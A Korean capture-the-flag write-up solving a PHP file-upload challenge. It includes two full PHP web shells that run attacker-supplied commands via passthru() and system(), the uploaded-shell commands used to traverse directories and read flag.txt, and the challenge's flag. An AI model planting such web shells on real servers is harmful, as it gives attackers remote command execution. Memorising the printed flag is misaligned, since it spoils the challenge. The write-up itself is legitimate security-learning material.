풀이일 : 23/06/03
문제 페이지에 접속해보자.
Upload 버튼을 누르면 다음과 같은 화면이 나온다.
저장된 파일에 접근하여 파일을 선택한 후, 업로드가 가능하다.
위와 같이 다양한 파일들을 업로드 해 보았으나 정답을 찾아내지 못했다.
이제 문제 파일을 다운받아 보자.
문제 파일을 다운 받아 본 결과, 각각의 페이지가 php 파일로 구성된 것을 볼 수 있다.
따라서 php 웹 쉘을 통해 flag.txt 파일을 찾을 수 있지 않을까 추측이 된다.
php를 잘 모르기 때문에 php웹쉘을 검색하여 나오는 코드들을 이용해 보았다.
첫번째로 이용해 본 코드
<?
echo "
<FORM ACTION=$PHP_SELF METHOD=POST>
CMD : <INPUT TYPE=TEXT NAME=command SIZE=40>
<INPUT TYPE=SUBMIT VALUE='Enter'></FORM>
<HR><XMP></XMP><HR>";
$command = str_replace('/', '', $command);
echo "<XMP>"; passthru($command); echo "</XMP>";
?>
출처 : https://kk-7790.tistory.com/78
해당 코드를 메모장에서 작성하여 shell.php로 저장하였다.
Upload 페이지로 들어가 업로드 하면, List페이지에 표시된다.
클릭하여 php가 실행되는지 확인해보자.
실행되어 CMD 명령어를 받는 창이 만들어진 것을 확인할 수 있다!
ls 명령어부터 입력해보자.
요청된 URL을 서버에서 찾을 수 없다고 표시된다. 다른 명령어를 입력했을 때에도 동일한 에러가 결과로 나왔다.
다른 php 쉘코드를 찾아보자.
두번째로 찾아낸 php 쉘코드
<?php
echo 'Enter a Command:<br>';
echo '<form action="">';
echo '<input type=text name="cmd">';
echo '<input type="submit">';
echo '</form>';
/*
위의 부분은 CMD 명령어를 입력받을 수 있는 UI를 구성
*/
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
//system 함수를 통해 cmd로부터 받은 CMD 명령어가 실행된다.
?>
위의 코드를 webshell.php로 저장하였다.
Upload 페이지에서 업로드
클릭해보니 위의 shell.php가 실행되었을 때처럼 명령어를 받는 화면이 표시된다.
ls 명령어부터 입력해보자.
이전과 다르게 결과가 화면에 출력되는 것을 확인할 수 있다!!!!
쉘 획득에 성공하였다. 이제 flag.txt의 위치를 찾아내어 cat 명령어를 이용해 그 내용을 읽으면 flag를 획득할 수 있을 것이다.
ls ../../ 실행 결과
ls ../../../ 실행 결과
ls ../../../../ 실행 결과
=> flag.txt의 위치를 확인하였다.
cat ../../../../flag.txt
위 명령어를 입력하여 flag.txt를 읽자.
flag는 DH{c29f44ea17b29d8b76001f32e8997bab}